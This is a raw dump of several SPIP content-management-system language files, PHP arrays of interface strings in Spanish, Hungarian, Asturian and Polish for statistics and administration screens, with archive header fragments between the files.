'onglet_repartition_lang' => 'Distribución por idiomas',
// R
'resume' => 'Resumen',
// T
'texte_admin_effacer_stats' => 'Esta orden borra todos los datos ligados con las estadísticas de visitas al sitio, incluyendo la popularidad de los artículos.',
'texte_admin_effacer_toutes_stats' => 'El primer botón elimina todas las estadísticas: visitas, popularidad de los artículos y enlaces entrantes.',
'texte_comment_lire_tableau' => 'El rango del artículo, en la clasificación por popularidad, está indicado al margen; la popularidad del artículo (una estimación del número de visitas cotidianas que recibirá si el ritmo actual de visitas se mantiene) y el número de visitas recibidas desde el inicio se muestran en el menú que aparece cuando pasamos el cursor sobre el título.',
'texte_signification' => 'Las barras oscuras representan las entradas acumuladas (total de las subsecciones), las barras claras el número de visitas de cada sección.',
'titre_evolution_visite' => 'Evolución de las visitas',
'titre_liens_entrants' => 'Los enlaces entrantes ',
'titre_page_statistiques' => 'Estadísticas por sección',
'titre_page_statistiques_visites' => 'Estadísticas de las visitas',
// V
'visites_journalieres' => 'Cantidad de visitas por día',
'visites_mensuelles' => 'Cantidad de visitas por mes'
);
?>
statistiques_hu.php 0000666 00000004547 15252540432 0010533 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Látógatások kialakulása<br />@visites@ látógatás', # MODIF
'icone_repartition_actuelle' => 'Jelenlegi megosztás megjelenítése',
'icone_repartition_visites' => 'Látógatások szétosztása',
'icone_statistiques_visites' => 'Statisztikák',
'info_affichier_visites_articles_plus_visites' => 'A látógatások megjelenítése a <b>kezdettől leglátógatottabb cikkekről :</b>',
'info_comment_lire_tableau' => 'Hogyan kell értelmezni a táblát',
'info_forum_statistiques' => 'Statisztikák a látógatásokról',
'info_popularite_2' => 'Honlap népszerűsége :',
'info_popularite_3' => 'Népszer?ség : @popularite@ ; látógatások : @visites@',
'info_popularite_5' => 'népszerűség :',
'info_visites' => 'látógatás :',
'info_visites_plus_populaires' => 'Látógatások megjelenítése a <b>legnépszerűbb cikkekről</b> és a <b>legutóljára publikált cikkekről :</b>',
'info_zoom' => 'nagyítás',
'item_gerer_statistiques' => 'A statisztikák kezelése', # MODIF
// O
'onglet_origine_visites' => 'A látógatások származása',
'onglet_repartition_debut' => 'kezdettől',
'onglet_repartition_lang' => 'Nyelvek szerinti bontás',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'A népszerűség szerinti cikk rangja a márgóban jelenik meg ; a cikk népszerűsége (olyan becslés a leendő napi látógatásokról, ha az eddigi látógatási ütem megmarad) és a kezdet óta történt látógatások száma szerepel abban a buborékban, ami megjelenik, ha az egér lebeg a cím felett.',
'texte_signification' => 'A sötét sávok a halmodozott belépéseket jelzik (alrovatok összege), a világos sávok pedig a látogatások számát minden rovatnak.',
'titre_evolution_visite' => 'A látógatások kialakulása',
'titre_liens_entrants' => 'Bejövő linkek',
'titre_page_statistiques' => 'Rovatok szerinti statisztikák',
'titre_page_statistiques_visites' => 'Statisztikák a latógatásokról'
);
?>
statistiques_ast.php 0000666 00000005266 15252540433 0010706 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Desaniciar les estadístiques', # MODIF
// I
'icone_evolution_visites' => 'Evolución de les visites<br />@visites@ visites',
'icone_repartition_actuelle' => 'Amosar el repartu actual',
'icone_repartition_visites' => 'Repartu de les visites',
'icone_statistiques_visites' => 'Estadístiques',
'info_affichier_visites_articles_plus_visites' => 'Amosar les visites pa <b>los artículos más visitaos dende l’entamu:</b>',
'info_comment_lire_tableau' => 'Cómo lleer esti cuadru',
'info_forum_statistiques' => 'Estadístiques de les visites',
'info_popularite_2' => 'popularidá del sitiu:',
'info_popularite_3' => 'popularidá: @popularite@; visites: @visites@',
'info_popularite_5' => 'popularidá:',
'info_question_vignettes_referer' => 'Cuando consultes les estadístiques, pues amosar miniatures de los sitios d’orixe de les visites',
'info_question_vignettes_referer_oui' => 'Amosar captures de los sitios d’orixe de les visites',
'info_visites' => 'visites:',
'info_visites_plus_populaires' => 'Amosar les visites de <b>los artículos más populares</b> y de <b>los caberos artículos espublizaos:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Xestionar les estadístiques', # MODIF
// O
'onglet_origine_visites' => 'Orixe de les visites',
'onglet_repartition_debut' => 'dende l’entamu',
'onglet_repartition_lang' => 'Repartío por llingües',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Esta orde esborra tolos datos tocantes a les estadístiques de visites al sitiu, incluyendo la popularidá de los artículos.',
'texte_comment_lire_tableau' => 'El rangu de l’artículu, na clasificación por popularidá, vién indicáu nel marxe; la popularidá de l’artículu (una estimación del númberu de visites diaries que recibirá si el ritmu actual de consultes se mantuviere) y el númberu de visites recibíes dende’l so espublizamientu amuésense na burbuya que apaez al pasar el mur pol títulu.',
'texte_signification' => 'Les barres escures representen les entráes acumuláes (total de les sub-estayes), les barres clares el númberu de visites pa cada estaya.',
'titre_evolution_visite' => 'Evolución de les visites',
'titre_liens_entrants' => 'Enllaces entrantes',
'titre_page_statistiques' => 'Estadístiques por estayes',
'titre_page_statistiques_visites' => 'Estadístiques de les visites'
);
?>
ecrire_pl.php 0000666 00000207131 15252547432 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Włącz rozszerzenie',
'affichage' => 'Wyświetlanie',
'aide_non_disponible' => 'Ta część pomocy on-line nie jest jeszcze dostępna w tym języku.',
'annuler_recherche' => 'Anuluj wyszukiwanie',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Dostęp zabroniony.',
'avis_article_modifie' => 'Uwaga, @nom_auteur_modif@ pracował nad tym artykułem @date_diff@ minut temu.',
'avis_aucun_resultat' => 'Brak wyników szukania.',
'avis_base_inaccessible' => 'Połączenie z baza danych jest niemożliwe @base@.',
'avis_chemin_invalide_1' => 'Ścieżka, którą wybrałeś',
'avis_chemin_invalide_2' => 'wydaje się nieprawidłowa. Proszę powrócić na poprzednią stronę w celu weryfikacji informacji.',
'avis_connexion_echec_1' => 'Połączenie z serwerem SQL nie powiodło się.', # MODIF
'avis_connexion_echec_2' => 'Powróć do poprzedniej strony i zweryfikuj podane informacje.',
'avis_connexion_echec_3' => '<b>Uwaga</b> W przypadku wielu serwerów musisz <b>poprosić</b> o uaktywnienie dostępu do bazy danych, aby móc z niej korzystać. Jeśli nie możesz się połączyć, upewnij się, czy poprosiłeś o dostęp.', # MODIF
'avis_connexion_erreur_nom_base' => 'Nazwa bazy danych powinno zawierać tylko litery, cyfry i łączniki.',
'avis_connexion_ldap_echec_1' => 'Połączenie z LDAP nie powiodło się.',
'avis_connexion_ldap_echec_2' => 'Powróć do poprzedniej strony i zweryfikuj podane informacje.',
'avis_connexion_ldap_echec_3' => 'Nie używaj wsparcia LDAP do importu użytkowników.',
'avis_deplacement_rubrique' => 'Uwaga! Ten dział zawiera @contient_breves@ news@scb@: jeśli chcesz go przenieść, proszę zaznacz to okienko.',
'avis_destinataire_obligatoire' => 'Aby wysłać tę wiadomość, musisz wybrać odbiorcę.',
'avis_erreur_connexion_mysql' => 'Błąd połączenia z SQL', # MODIF
'avis_erreur_version_archive' => '<b>Ostrzeżenie! Plik @archive@ odpowiada innej wersji SPIP od tej na Twoim systemie.</b> Wiąże się to z poważnymi trudnościami: ryzykiem zniszczenia Twojej bazy danych, zakłóceniami funkcjonowania Twojej strony, etc. Nie spełniaj żądania importu.<p>Więcej informacji na <a href="@spipnet@"> w dokumentacji SPIP</a>.</p>', # MODIF
'avis_espace_interdit' => '<b>Dostęp zabroniony</b><div>SPIP jest już zainstalowany.</div>',
'avis_lecture_noms_bases_1' => 'Program instalacyjny nie może odczytać nazw instalowanych baz danych.',
'avis_lecture_noms_bases_2' => 'Żadna baza danych nie jest dostępna, lub funkcja listingu baz danych nie działa
ze względów bezpieczeństwa(co jest częstym przypadkiem wielu hostów).',
'avis_lecture_noms_bases_3' => 'W drugim przypadku, do użytku może nadawać się baza danych nazwana Twoim loginem :',
'avis_non_acces_message' => 'Nie masz dostępu do tej wiadomości.',
'avis_non_acces_page' => 'Nie masz dostępu do tej strony.',
'avis_operation_echec' => 'Operacja nie powiodła się.',
'avis_operation_impossible' => 'Operacja niemożliwa',
'avis_probleme_archive' => 'Istnieje błąd w pliku @archive@',
'avis_suppression_base' => 'OSTRZEŻENIE, usunięcie danych jest nieodwracalne',
'avis_version_mysql' => 'Twoja wersja SQL (@version_mysql@) nie umożliwia auto-naprawy tablic baz danych.', # MODIF
// B
'bouton_acces_ldap' => 'Dodaj dostęp do LDAP',
'bouton_ajouter' => 'Dodaj',
'bouton_ajouter_participant' => 'DODAJ UCZESTNIKA:',
'bouton_annonce' => 'ZAWIADOMIENIE',
'bouton_annuler' => 'Anuluj',
'bouton_checkbox_envoi_message' => 'możliwość wysłania wiadomości',
'bouton_checkbox_indiquer_site' => 'Musisz wpisać nazwę strony internetowej',
'bouton_checkbox_signature_unique_email' => 'tylko jeden podpis na adres e-mail',
'bouton_checkbox_signature_unique_site' => 'tylko jeden podpis na stronę internetową',
'bouton_demande_publication' => 'Prośba o publikację artykułu',
'bouton_desactive_tout' => 'Wyłącz wszystko',
'bouton_desinstaller' => 'Odinstaluj',
'bouton_effacer_index' => 'Usuń indeksowanie',
'bouton_effacer_tout' => 'Usuń WSZYSTKO',
'bouton_envoi_message_02' => 'WYŚLIJ WIADOMOŚĆ',
'bouton_envoyer_message' => 'Wiadomość końcowa: wysłano',
'bouton_fermer' => 'Zamknij',
'bouton_mettre_a_jour_base' => 'Aktualizuj bazę danych',
'bouton_modifier' => 'Modyfikuj',
'bouton_pense_bete' => 'NOTATKA OSOBISTA',
'bouton_radio_activer_messagerie' => 'Aktywuj pocztę wewnętrzną',
'bouton_radio_activer_messagerie_interne' => 'Aktywuj pocztę wewnętrzną',
'bouton_radio_activer_petition' => 'Aktywacja ogłoszeń',
'bouton_radio_afficher' => 'Pokaż',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Pojawić się na liście zalogowanych redaktorów',
'bouton_radio_desactiver_messagerie' => 'Dezaktywuj pocztę',
'bouton_radio_envoi_annonces_adresse' => 'Wysyłaj ogłoszenia na adres :',
'bouton_radio_envoi_liste_nouveautes' => 'Wysyłaj najnowszą listę newsów',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nie pokazuj w liście redaktorów',
'bouton_radio_non_envoi_annonces_editoriales' => 'Nie wysyłaj żadnych zawiadomień redakcyjnych',
'bouton_radio_pas_petition' => 'Wyłącz ogłoszenia',
'bouton_radio_petition_activee' => 'Ogłoszenia włączone',
'bouton_radio_supprimer_petition' => 'Usuń ogłoszenia',
'bouton_redirection' => 'PRZEKIERUJ',
'bouton_relancer_installation' => 'Uruchom ponownie instalację',
'bouton_suivant' => 'Następny',
'bouton_tenter_recuperation' => 'Próba naprawy',
'bouton_test_proxy' => 'Test proxy',
'bouton_vider_cache' => 'Opróżnij cache',
'bouton_voir_message' => 'Podgląd wiadomości przed zatwierdzeniem',
// C
'cache_mode_compresse' => 'Pliki cache zostały zapisane w postaci skompresowanej.',
'cache_mode_non_compresse' => 'Pliki cache zostały zapisane w trybie nieskompresowanym',
'cache_modifiable_webmestre' => 'Te parametry może zmieniać webmaster serwisu.',
'calendrier_synchro' => 'Jeśli używasz programów - terminarzy kompatybinych z <b>iCal</b>, możesz go zsynchronizować z informacjami tego serwisu.',
'config_activer_champs' => 'Włącz następujące pola',
'config_choix_base_sup' => 'Wybierz bazę danych na tym serwerze.',
'config_erreur_base_sup' => 'SPIP nie ma dostępu do listy dostępnych baz danych',
'config_info_base_sup' => 'Jeśli musisz zapytać innych baz danych za pomocą SPIP, czy na tym serwerze SQL czy gdzie indziej, należy użyć tego formularza do ich podawania. Jeśli zostawisz jakieś pola puste, zostaną wykorzystywane szczegóły połączeń do głównej bazy danych.',
'config_info_base_sup_disponibles' => 'Dodatkowe bazy danych do których mogą być wysyłane pytania:',
'config_info_enregistree' => 'Nowa konfiguracja została zapisana.',
'config_info_logos' => 'Każdy element strony może mieć logo, a także logo roll-over.',
'config_info_logos_utiliser' => 'Użyj logo',
'config_info_logos_utiliser_non' => 'Nie używaj logo',
'config_info_logos_utiliser_survol' => 'Używaj logo roll-over',
'config_info_logos_utiliser_survol_non' => 'Nie używaj logo roll-over',
'config_info_redirection' => 'Włączając tą opcję, możesz tworzyć artykuły wirtualne, odnoszące się do artykułów opublikowanych na innych stronach niż Twoja.',
'config_redirection' => 'Wirtualne artykuły',
'config_titre_base_sup' => 'Deklaracja dodatkowej bazy danych',
'config_titre_base_sup_choix' => 'Wybierz dodatkową bazę danych',
'connexion_ldap' => 'Połączenie:',
'copier_en_local' => 'Skopiuj lokalnie',
'creer_et_associer_un_auteur' => 'Utwórz i przyłącz autora',
'creer_et_associer_une_rubrique' => 'Utworz i połącz sekcję',
// D
'date_mot_heures' => 'godz.',
// E
'ecran_securite' => '+ ekran bezpiczęstwa @version@',
'email' => 'e-mail',
'email_2' => 'e-mail:',
'en_savoir_plus' => 'Aby dowiedzieć się więcej',
'entree_adresse_annuaire' => 'Adres katalogu',
'entree_adresse_email' => 'Twój adres e-mail',
'entree_adresse_email_2' => 'Adres e-mailowy',
'entree_base_donnee_1' => 'Adres bazy danych',
'entree_base_donnee_2' => '(Często adres ten jest taki sam, jak adres strony, czasem odpowiada nazwie «serwera lokalnego», a czasem jest pozostawiony pusty.)',
'entree_biographie' => 'Krótka biografia w kilku słowach.',
'entree_chemin_acces' => '<b>Podaj</b> ścieżkę dostępu:',
'entree_cle_pgp' => 'Twój klucz PGP',
'entree_cle_pgp_2' => 'Klucz PGP',
'entree_contenu_rubrique' => '(Tematyka działu w kilku słowach.)',
'entree_identifiants_connexion' => 'Identyfikatory połączenia...',
'entree_identifiants_connexion_2' => 'Identyfikatory połączeń',
'entree_informations_connexion_ldap' => 'Proszę w ten formularz wpisać informacje o połączeniu LDAP. Uzyskać je można od administratora systemu lub sieci.',
'entree_infos_perso' => 'Kim jesteś?',
'entree_infos_perso_2' => 'Kto jest autorem?',
'entree_interieur_rubrique' => 'W dziale:',
'entree_liens_sites' => '<b>Łącza hipertekstowe</b> (referencje, strony do odwiedzenia...)',
'entree_login' => 'Twój login',
'entree_login_connexion_1' => 'Login połączenia',
'entree_login_connexion_2' => '(Czasem jest taki, jak Twój login FTP, a czasem jest pozostawiony pusty)',
'entree_login_ldap' => 'Zaloguj do LDAP',
'entree_mot_passe' => 'Twoje hasło',
'entree_mot_passe_1' => 'Hasło połączenia',
'entree_mot_passe_2' => '(Czasem jest takie, jak Twoje hasło dostępu FTP, a czasem jest pozostawione puste)',
'entree_nom_fichier' => 'Proszę wpisać nazwę pliku @texte_compresse@:',
'entree_nom_pseudo' => 'Twoje imię lub alias',
'entree_nom_pseudo_1' => '(Twoje imię lub alias)',
'entree_nom_pseudo_2' => 'Imię lub pseudonim',
'entree_nom_site' => 'Nazwa Twojej strony',
'entree_nom_site_2' => 'Nazwa strony autora',
'entree_nouveau_passe' => 'Nowe hasło',
'entree_passe_ldap' => 'Hasło',
'entree_port_annuaire' => 'Numer portu katalogu',
'entree_signature' => 'Podpis',
'entree_titre_obligatoire' => '<b>Tytuł</b> [Obowiązkowo]<br />',
'entree_url' => 'URL Twojej strony',
'entree_url_2' => 'Strona URL',
'erreur_connect_deja_existant' => 'Serwer o tej nazwie już istnieje.',
'erreur_nom_connect_incorrect' => 'Nazwa serwera nie jest dozwolona',
'erreur_plugin_desinstalation_echouee' => 'Dezinstalacja wtyczki się nie powiodła . Jednakże, możesz ją wyłączyć.',
'erreur_plugin_fichier_absent' => 'Brak pliku',
'erreur_plugin_fichier_def_absent' => 'Brak pliku definicji',
'erreur_plugin_nom_fonction_interdit' => 'Nieprawidłowa nazwa funkcji',
'erreur_plugin_nom_manquant' => 'Brak nazwy rozszerzenia',
'erreur_plugin_prefix_manquant' => 'Nie zdefiniowana nazwa rozszerzenia',
'erreur_plugin_tag_plugin_absent' => '<plugin> nie ma w pliku definicji',
'erreur_plugin_version_manquant' => 'Brakuje wersji rozszerzenia',
// H
'htaccess_a_simuler' => 'Avertissement: la configuration de votre serveur HTTP ne tient pas compte des fichiers @htaccess@. Pour pouvoir assurer une bonne sécurité, il faut que vous modifiez cette configuration sur ce point, ou bien que les constantes @constantes@ (définissables dans le fichier mes_options.php) aient comme valeur des répertoires en dehors de @document_root@.', # MODIF
'htaccess_inoperant' => 'htaccess nieczyny',
// I
'ical_info1' => 'Na tej stronie prezentujemy różne metody pozostanie w kontakcie z działalnością serwisu.',
'ical_info2' => 'Aby przeczytać więcej na ten temat, idź na stronę<a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'ical_info_calendrier' => 'Do Twojej dyspozycji są dwa kalendarze. Jeden pokazuje mapę strony wraz ze wszystkimi opublikowanymi artykułami. Drugi zawiera ogłoszenia redakcyjne oraz Twoje ostatni wiadomości prywatne : tylko Ty masz do niego dostęp za hasłem.',
'ical_methode_http' => 'Ściągnij',
'ical_methode_webcal' => 'Synchronizacja (webcal://)',
'ical_texte_js' => 'Jedna linia javascript pozwala w bardzo prosty sposób, w każdym należącym do Ciebie serwisie pokazać ostatnio opublikowane w tym serwisie artykuły.',
'ical_texte_prive' => 'Ten kalendarz, wyłącznie do użytku osobistego, informuje Cię o działalności redakcyjnej w strefie prywatnej (zadania, spotkania, proponowane artykuły i newsy).',
'ical_texte_public' => 'Ten kalendarz pozawala śledzić aktywność redakcyjną serwisu (opublikowane artykuły i newsy).',
'ical_texte_rss' => 'Możesz syndykować nowości z tego serwisu w jakimkolwiek czytniku plików formatu XML/RSS (Rich Site Summary). Ten format pozwala SPIP odczytywać nowości opublikowane w innych serwisach (serwisach syndykowanych).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista Mailowa',
'ical_titre_rss' => 'Pliki syndykacji',
'icone_accueil' => 'Strona główna',
'icone_activer_cookie' => 'Aktywuj cookies korespondencji',
'icone_activite' => 'Opinia',
'icone_admin_plugin' => 'Zarządzanie rozszerzeniami',
'icone_administration' => 'Konserwacja',
'icone_afficher_auteurs' => 'Pokaż autorów',
'icone_afficher_visiteurs' => 'Pokaż odwiedzających',
'icone_arret_discussion' => 'Zaprzestań udziału w tej dyskusji',
'icone_calendrier' => 'Kalendarz',
'icone_configuration' => 'Konfiguracja',
'icone_creer_auteur' => 'Stwórz nowego autora i przypisz go do tego artykułu',
'icone_creer_mot_cle' => 'Stwórz nowe słowo kluczowe i skojarz je z tym artykułem',
'icone_creer_mot_cle_rubrique' => 'Utwórz nowe słowo kluczowe i połącz je z tym działem',
'icone_creer_mot_cle_site' => 'Utwórz nowe słowo kluczowe i połącz je z tym linkiem ',
'icone_creer_rubrique_2' => 'Utwórz nowy dział',
'icone_edition' => 'Edytuj',
'icone_envoyer_message' => 'Wyślij tę wiadomość',
'icone_ma_langue' => 'Mój język',
'icone_mes_infos' => 'Moje dane',
'icone_mes_preferences' => 'Preferencje',
'icone_modifier_article' => 'Zmień ten artykuł',
'icone_modifier_message' => 'Zmień tę wiadomość',
'icone_modifier_rubrique' => 'Zmień ten dział',
'icone_publication' => 'Publikować',
'icone_relancer_signataire' => 'Skontaktuj się ponownie z sygnotariuszem',
'icone_retour' => 'Powrót',
'icone_retour_article' => 'Powrót do artykułu',
'icone_squelette' => 'Szablony',
'icone_suivi_publication' => 'śledzenie publikacji',
'icone_supprimer_cookie' => 'Usuń cookies korespondencji',
'icone_supprimer_rubrique' => 'Usuń ten dział',
'icone_supprimer_signature' => 'Usuń ten podpis',
'icone_valider_signature' => 'Zatwierdź ten podpis',
'image_administrer_rubrique' => 'Możesz zarządzać tym działem',
'impossible_modifier_login_auteur' => 'Login nie może zostać zmieniony.',
'impossible_modifier_pass_auteur' => 'Hasło nie może zostać zmienione.',
'info_1_article' => '1 artykuł',
'info_1_article_syndique' => '1 artykuł konsorcjalny',
'info_1_auteur' => '! autor',
'info_1_message' => '1 wiadomość',
'info_1_rubrique' => '1 sekcja',
'info_1_site' => '1 strona',
'info_1_visiteur' => '1 gość',
'info_activer_cookie' => 'Możesz uaktywnić <b>cookies korespondecji</b>, co ci
pozwoli przechodzić łatwo pomiędzy stroną publiczną a prywatną.',
'info_admin_etre_webmestre' => 'Daj mi prawa administratora sieci',
'info_admin_gere_rubriques' => 'Ten administrator zarządza następującymi działami:',
'info_admin_gere_toutes_rubriques' => 'Ten administrator zarządza <b>wszystkimi działami</b>.', # MODIF
'info_admin_statuer_webmestre' => 'Daj webmasterowi prawo do tego administratora.',
'info_admin_webmestre' => 'Ten administrator jest <b>webmestre</b>',
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'strony (<i>korzystaj uważnie</i>)',
'info_administrateur_site_01' => 'Jeśli jesteś administratorem strony, proszę',
'info_administrateur_site_02' => 'kliknij na ten link',
'info_administrateurs' => 'Administratorzy',
'info_administrer_rubrique' => 'Możesz zarządzać tym działem',
'info_adresse' => 'na adres:',
'info_adresse_url' => 'URL Twojej publicznej strony',
'info_afficher_par_nb' => 'pokaż',
'info_afficher_visites' => 'Pokaż odwiedziny dla :',
'info_aide_en_ligne' => 'SPIP Pomoc Online',
'info_ajout_image' => 'Kiedy dodajesz do artykułu obrazki jako załączniki,
SPIP może automatycznie utworzyć winiety (thumbnails) ze
wstawionych obrazków. Pozwoli to na, na przykład, automatyczne
utworzenie galerii lub portfolio.',
'info_ajout_participant' => 'Następujący uczestnik został dodany:',
'info_ajouter_rubrique' => 'Dodaj dział do zarządzania :',
'info_annonce_nouveautes' => 'Zapowiedzi najnowszych newsów',
'info_anterieur' => 'poprzedni',
'info_article' => 'artykuł',
'info_article_2' => 'artykuły',
'info_article_a_paraitre' => 'Artykuły przeterminowane do opublikowania',
'info_articles_02' => 'artykuły',
'info_articles_2' => 'Artykuły',
'info_articles_auteur' => 'Artykuły tego autora',
'info_articles_miens' => 'Moje artykuły',
'info_articles_tous' => 'Wszystkie artykuły',
'info_articles_trouves' => 'Artykuły znalezione',
'info_articles_trouves_dans_texte' => 'Artykuły znalezione (w tekście)',
'info_attente_validation' => 'Twoje artykuły oczekujące zatwierdzenia',
'info_aucun_article' => 'Brak artykułów',
'info_aucun_article_syndique' => 'Brak artykułów syndykatowych',
'info_aucun_auteur' => 'Brak autorów',
'info_aucun_message' => 'Brak wiadomości',
'info_aucun_rubrique' => 'Brak działu',
'info_aucun_site' => 'Brak powiązanych stron',
'info_aucun_visiteur' => 'Brak gości',
'info_aujourdhui' => 'dziś:',
'info_auteur_message' => 'NADAWCA WIADOMOŚCI:',
'info_auteurs' => 'Autorzy',
'info_auteurs_par_tri' => 'Autorzy@partri@',
'info_auteurs_trouves' => 'Autorzy znalezieni',
'info_authentification_externe' => 'Zewnętrzne uwierzytelnienie',
'info_avertissement' => 'Ostrzeżenie',
'info_barre_outils' => 'z jego paska narzędzi?',
'info_base_installee' => 'Struktura Twojej bazy danych została zainstalowana.',
'info_bio' => 'Biografia',
'info_chapeau' => 'Wstęp',
'info_chapeau_2' => 'Wstęp:',
'info_chemin_acces_1' => 'Opcje: <b>Ścieżka dostępu do katalogu</b>',
'info_chemin_acces_2' => 'Powinniście w tym momencie skonfigurować ścieżkę dostępu do spisu. Ta informacja jest niezbędna do tego by odczytywać profile użytkowników zawarte w spisie.',
'info_chemin_acces_annuaire' => 'Opcje: <b>Ścieżka dostępu do katalogu</b>',
'info_choix_base' => 'Trzeci krok:',
'info_classement_1' => '<sup>er</sup> na @liste@',
'info_classement_2' => '<sup>e</sup> na @liste@',
'info_code_acces' => 'Zapamiętaj swoje kody dostępu!',
'info_compatibilite_html' => 'Norma HTML do zastosowania',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_compresseur_texte' => 'Jeśli serwer nie kompresuje strony HTML przed wysłaniem, można próbować wymusić kompresję w celu zmniejszenia rozmiaru przesyłanych stron. Uwaga: to może mieć widoczny niekorzystny wpływ na działanie niektórych serwerów.',
'info_config_suivi' => 'Jeśli ten adres odpowiada liście subskrypcyjnej, możecie wpisać poniżej adres, za któego pomocą uczestnicy serwisu mogą się zapisać. Adres ten może być URL-em (np. stroną służącą do zapisywania się na listę przez internet), albo adresem e-mail opatrzonym stosownym tematem (np.: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Możesz automatycznie, za pomocą poczty elektronicznej otrzymywać ogłoszenia dotyczące aktywności redakcyjnej tego serwisu. W tym celu powinnieneś się zapisać na listę mailową.',
'info_confirmer_passe' => 'Potwierdź nowe hasło:',
'info_conflit_edition_avis_non_sauvegarde' => 'Uwaga: poniższe pola zostały zmodyfikowane w innym miejscu. Dlatego Twoje zmiany na tych polach nie zostały zapisane.',
'info_conflit_edition_differences' => 'Różnice:',
'info_conflit_edition_version_enregistree' => 'Zapisana wersja:',
'info_conflit_edition_votre_version' => 'Twoja wersja:',
'info_connexion_base' => 'Próba połączenia z bazą danych',
'info_connexion_base_donnee' => 'Połączenie z bazą danych',
'info_connexion_ldap_ok' => '<b>Połączenie LDAP powiodło się.<b><p> Idź do następnego etapu.</p>', # MODIF
'info_connexion_mysql' => 'Połączenie z bazą SQL', # MODIF
'info_connexion_ok' => 'Połączenie powiodło się.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Tematyka artykułów',
'info_contributions' => 'Składki',
'info_creation_paragraphe' => '(By utworzyć akapity, po prostu zostaw puste linijki.)', # MODIF
'info_creation_rubrique' => 'Aby móc pisać artykuły,<br /> musisz utworzyć przynajmniej jeden dział.<br />',
'info_creation_tables' => 'Tworzenie tablic bazy danych',
'info_creer_base' => '<b>Utwórz</b> nową bazę danych :',
'info_dans_rubrique' => 'W dziale:',
'info_date_publication_anterieure' => 'Data poprzedniej publikacji:',
'info_date_referencement' => 'DATA ZLINKOWANIA TEJ STRONY:',
'info_derniere_etape' => 'Zakończone z sukcesem!',
'info_derniers_articles_publies' => 'Twoje ostatnie opublikowane artykuły',
'info_desactiver_messagerie_personnelle' => 'Możesz włączyć lub wyłączyć wewnętrzną pocztę w tym serwisie.',
'info_descriptif' => 'Opis:',
'info_desinstaller_plugin' => 'usuń dane i wyłącz plugina',
'info_discussion_cours' => 'Dyskusja w toku',
'info_ecrire_article' => 'Aby móc pisać artykuły, musisz utworzyć przynajmniej jeden dział.',
'info_email_envoi' => 'Adres e-mail nadawcy (nieobowiązkowo)',
'info_email_envoi_txt' => 'Wpisz adres e-maila, który będzie używany do wywyłania wiadomości (domyślnie adres odbiorcy będzie jednocześnie adresem wysyłkowym) :',
'info_email_webmestre' => 'Adres e-mail webmastera (nieobowiązkowo)', # MODIF
'info_entrer_code_alphabet' => 'Wpisz kodowanie alfabetu :',
'info_envoi_email_automatique' => 'Automatyczna wysyłka maili',
'info_envoyer_maintenant' => 'Wyślij teraz',
'info_etape_suivante' => 'Przejdź do następnego kroku',
'info_etape_suivante_1' => 'Możesz przejść do następnego kroku.',
'info_etape_suivante_2' => 'Możesz przejść do następnego kroku.',
'info_exceptions_proxy' => 'Wyjątki dla pełnomocnika',
'info_exportation_base' => 'eksportuj bazę danych do @archive@',
'info_facilite_suivi_activite' => 'W celu uproszczenia działań
redakcyjnych strony, SPIP może wysłać mailem, na przykład
na listę mailingową redaktorów, informację-zapytanie
o sprawdzenie i publikację artykułów.',
'info_fichiers_authent' => 'Plik uwierzytelniający « .htpasswd »',
'info_forums_abo_invites' => 'Twoja strona zawiera formu dostępne po zalogowaniu, zatem odwiedzający powinni się zarejestrować na stronie publicznej.',
'info_gauche_admin_effacer' => '<b>Ta strona jest dostępna jedynie dla administratorów.<b><p> Daje ona dostęp do funkcji technicznych serwisu. Niektóre spośród nich wymagają wymagają połączenia z serwerem przez FTP.', # MODIF
'info_gauche_admin_tech' => '<b>Ta strona jest dostępna jedynie dla jej właścicieli.</b><p> Daje dostęp do fukcji typowo technicznych. Niektóre spośród nich wymagają specjalnego uwierzytelnienia
, które można uzyskać jedynie poprzez FTP.', # MODIF
'info_gauche_admin_vider' => '<b>Ta strona jest dostępna jedynie dla głównych administratorów.</b><p> Daje dostęp do funkcji typowo technicznych. Niektóre spośród nich wymagają specjalnego uwierzytelnienia
, które można uzyskać jedynie poprzez FTP.', # MODIF
'info_gauche_auteurs' => 'Znajdziesz tutaj informacje o wszystkich autorach serwisu.
Ich kompetencje są zaznaczone kolorem ikony (redaktor = zielonym; administrator = żółtym).',
'info_gauche_auteurs_exterieurs' => 'Autorzy zewnętrzni, bez dostępu do strefy publicznej są zaznaczeni ikoną niebieską ;
autorzy skasowani.', # MODIF
